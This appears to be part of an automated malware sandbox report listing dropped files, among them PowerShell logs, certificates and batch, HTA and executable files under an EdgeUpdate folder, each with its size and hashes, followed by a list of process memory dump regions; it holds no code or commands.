752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
672d4d6cc917a8a180d68f177b3fae44

SHA1
58f8c0663a48178591af32f6e058a4271391fd76

SHA256
9ab31602280b8573f1d24814f55198248894566a7cbb6de82cc2f8f0575b63e5

SHA512
5deaa2237fed76edd4f3e5d6ac2f4c4833ac6bb4b9fd533a8f88ace10c32a686269f7fa185e46f090a0dbd1d6d02b9a1969afc4d28e70da4acaac12680e4b2f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
06d16fea6ab505097d16fcaa32949d47

SHA1
0c1c719831fa41cd102d0d72d61c0f46ec5b8de8

SHA256
54e15de2bef9f651d7717e2a336ac6b2ea2b723e6f29d2b153d8fbbc89aef723

SHA512
03c00f1eebb51cec11703141ae9d9c3ac589f5495bc04d8a4b043714089a9d50bd3a520e4d72b4a4c99f5b9bf5f689bf2585fa5c7d4ddbe6f71cbba0172f593a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\Main.bat

Filesize
587B

MD5
4c0d6040b47de01be27e4c40a2da5900

SHA1
9a6a069cf898046ed474eaa99b97d88d1a5a4620

SHA256
e6a4610272d0739d73b7b937d246670111c6a9762128460937a5f52ee2764bcf

SHA512
afb06b4355a3a4cb321073558004e7ca1535d4e7dc4070d00c8434ece5c0ca786d1ebfc913f5421d50694239427e267c0334e3e34a99a2e48ca3633c226effce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\Program.hta

Filesize
1KB

MD5
b1724b959a87a025f95583015542929b

SHA1
a2b27067167d97fcf7712c0cf654d0ffc69c716b

SHA256
de1e73b6e28a6c7275d44e0544d9da118770f8b87966ff74fa8b6c86df2a87d2

SHA512
805f8f7d45905d8f732f75944cd800cf6b3d306fc95745a68bd8a406c3576aae213cb83b2c1c3d684433424abfc314db0b94a80bfe5566c52c19577e6bc2d9d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\print.db.tmp

Filesize
154KB

MD5
cfd32300fda8a46d378810f166598812

SHA1
2db6b1fe582eaa36d59c674a6d523bac5e688340

SHA256
7aca05ecea6acfb36691ce24e2e9b593d53bcc06267eb6bd8ed21357a0f5f519

SHA512
ae82ded3e8d096b1f550f69613f916faf3c0524883ddff0c48e3bd38267888074a5ad3093482f4a697261f341f6e6186e0c6d7891b265c45a0af81dca8df3a58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Update\print.exe

Filesize
3.4MB

MD5
46e9f32aae20a39cb77dc67328780028

SHA1
020e4b4a36fb6d3cc46a4af7d609936137fee40f

SHA256
44775029f1c2af2fab6e633678bd8087c8422dc852db67b48680b60878f7e9dd

SHA512
c615e69b32cbb1b10e7f2081f5eebfa940fe54e29e25e679df81d12d44c5a5f512d61dea5d723bf6bcd772789ace2e889c011b5811e487b43627b3dfdc886f60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
1da05ba3b54da771287c94c74807dbfc

SHA1
bfdf903adfb93765a27a4d9d3c6cc8a338af98e5

SHA256
64ae77204d48fab381d9cb3cea2d7854fa38fda6bffec3bd3c17a8176f6c0948

SHA512
f32f7cc084657acd8fdd924836016609072b3778593f6970b8dfb2ff2391780f7d043724d170aa05a6f5bf650b3da1664324435cd6b7269eb35c8dc78d4a63a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
89f1d96e31472b2d8bbebaa58c683ead

SHA1
d1204b81769bb3128c02c5f335923a66df3e006e

SHA256
e01e03132f3dc9347d081ba58557c5a67a6b343644b82a56cf3b97071835d39a

SHA512
19c6029d9223a5105a7ac46ce352bc67e6b31042249c1dbad612457c499df60cdfb1ae12b80e733985c97987b4c90ea37a37158315dc21d8dabaf8984c3f3af3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
9645e578df5db382682d616d9dfe88ef

SHA1
81c4c83f892d8ede957a661f1dc331c9aedc4d6f

SHA256
e4caa638a9f03ea77e5b940ee730ed35b7f59b24adca4873a275aab7e6ab5659

SHA512
99512e138a620b74550a6df7e5f11e1274828b96671bd5bf8f8dae3d6cdc74e51452106a7d4539cda2386b64fb9129090ef79420a6456333cd75b9e9396c3cd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4mdxizm.xiz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\36E0BD5CA031FB086FD640E4EEFFEB1D2925E21E

Filesize
1KB

MD5
d35f8d2ff1edaef9c93ea651a2b345d0

SHA1
c4e002f0eaa50ce5a4c938674144f73a4b9c2a64

SHA256
ab76a4327a7919adc4ff15f82243cdcf94b9b2a95bf7bf2e7492a14002509c1c

SHA512
25154b40bd334fc59ff9019768d2a33a614ef48a5f448452402baa069a5c59c1501f10d781033cc0a8c2e3b2c0462d07b83a5e691e6d26f4f1d0b151c751480a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\7BE77CD2D42E37817C0C45F05C32A6E3D25FBA27

Filesize
1KB

MD5
40437ececf4b83fab5dc84c90f4fb1cf

SHA1
979611e2c14612a4da94c2413dec5836095c6eae

SHA256
7647f6e2a7ba2641f8d4610de658f68e5f5f8b614b423766b565a52113ba1bf7

SHA512
5a6578d1c218ed6c629aafac473c035aac7654d45cb04bd9459b95697df03120c7fa873cc25989498d5096be29a244f402bfaa4ef05c9cdf58b7e12b801a9977

Download Submit
C:\Users\Admin\Downloads\20241288346.pdf

Filesize
19KB

MD5
358f66e76983f61585a6b034d11f33cf

SHA1
d5a78e3ba82d27d8383f0a1d9aa8a255d28f19ab

SHA256
593e963f8d781081dc4470f219380647245823acadd659d1a83b069277d3996a

SHA512
b3e4bd23fb37bf50db944d63803bffee04a3d0caba5641c2f2202b638aee4e652c352b6b46c6a6dc55b3d6fd77498db07da89243fb30fd0999fdf4b6e0cd10ea

Download Submit
C:\Users\Admin\Main.zip

Filesize
1.7MB

MD5
5adb3ef8f26124a465405d3761785404

SHA1
2dd578465ebb34a12d8f031961565ccfded821bb

SHA256
ed2b200279b6910ef0adf753397a9aadf873e3ed4299f3fafd70899367ef1616

SHA512
82ee2e46626f1ef8635163c1d64e81a3c5dfdf6390d9458b62d0a3607a030ba696f11b2e52398a160486728423036b018dbb6b5c001925736eabd2a9c8847cbb

Download Submit
memory/1672-0-0x0000000002610000-0x0000000002646000-memory.dmp

Filesize
216KB

Download
memory/1672-3-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/1672-4-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/1672-2-0x0000000004D20000-0x0000000004D42000-memory.dmp

Filesize
136KB

Download
memory/1672-1-0x0000000004E30000-0x0000000005458000-memory.dmp

Filesize
6.2MB

Download
memory/2312-260-0x00000000098A0000-0x0000000009B4B000-memory.dmp

Filesize
2.7MB

Download
memory/3460-116-0x00000248F7CA0000-0x00000248F7CC2000-memory.dmp

Filesize
136KB

Download
memory/3460-126-0x00000248F9EB0000-0x00000248F9EF4000-memory.dmp

Filesize
272KB

Download
memory/3460-127-0x00000248FA2E0000-0x00000248FA356000-memory.dmp

Filesize
472KB

Download
memory/3916-27-0x0000000006AB0000-0x0000000006ACA000-memory.dmp

Filesize
104KB

Download
memory/3916-53-0x00000000085F0000-0x00000000085FA000-memory.dmp

Filesize
40KB

Download
memory/3916-52-0x0000000008600000-0x0000000008612000-memory.dmp

Filesize
72KB

Download
memory/3916-51-0x0000000008B00000-0x00000000090A4000-memory.dmp

Filesize
5.6MB

Download
memory/3916-50-0x0000000008460000-0x0000000008482000-memory.dmp

Filesize
136KB

Download
memory/3916-49-0x0000000008410000-0x0000000008421000-memory.dmp

Filesize
68KB

Download
memory/3916-48-0x00000000084B0000-0x0000000008546000-memory.dmp

Filesize
600KB

Download
memory/3916-47-0x00000000083E0000-0x00000000083EA000-memory.dmp

Filesize
40KB

Download
memory/3916-46-0x00000000082E0000-0x0000000008383000-memory.dmp

Filesize
652KB

Download
memory/3916-45-0x00000000082B0000-0x00000000082CE000-memory.dmp

Filesize
120KB

Download
memory/3916-35-0x000000006D030000-0x000000006D07C000-memory.dmp

Filesize
304KB

Download
memory/3916-34-0x0000000008270000-0x00000000082A2000-memory.dmp

Filesize
200KB

Download
memory/3916-26-0x0000000007BF0000-0x000000000826A000-memory.dmp

Filesize
6.5MB

Download
memory/3916-24-0x00000000065C0000-0x00000000065DE000-memory.dmp

Filesize
120KB

Download
memory/3916-25-0x00000000065F0000-0x000000000663C000-memory.dmp

Filesize
304KB

Download
memory/3916-23-0x0000000006100000-0x0000000006454000-memory.dmp

Filesize
3.3MB

Download